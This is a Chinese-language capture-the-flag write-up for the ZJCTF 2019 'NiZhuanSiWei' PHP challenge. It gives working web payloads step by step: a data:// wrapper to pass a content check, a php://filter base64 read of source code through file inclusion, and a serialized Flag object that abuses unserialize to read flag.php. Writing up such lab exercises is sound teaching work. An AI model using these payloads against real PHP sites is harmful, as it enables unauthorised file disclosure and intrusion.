[ZJCTF 2019]NiZhuanSiWei 1

发布时间 2023-11-09 22:31:45作者: ashashash

1.进入页面

2.从代码中可以看出要求,以get方式传递text,file,password三个参数。

3.第一层验证if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

  传入text,而且file_get_contents($text,'r')之后内容为“welcome to the zjctf”

  利用php伪协议中的data协议,payload为text=data://text/plain,welcome to the zjctf

  file_get_contents($text,'r')的时候,$text=data://text/plain,welcome to the zjctf会被当做url处理,而读取到的内容就是逗号后面的输入

4.第二层验证

if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php 

传入file参数,file如果不包含flag就会被包含。根据提示,我们需要包含useless.php

在进行文件包含的时候,我们可以利用php://filter伪协议查看源代码

payload:file=php://filter/convert.base64-encode/resource=useless.php

利用/index.php?text=data://plain/text,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

将base64解码后得到

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

5.传递password参数

$password = unserialize($password);
echo $password; 

源码中会对password进行反序列化,说明password应该是序列化后的字符串,结合刚刚base64解码后得到的php文件构造序列化

<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>  

得到结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

联合起来,payload为:?text=data://plain/text,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

 

ctrl+u查看源码即可获得flag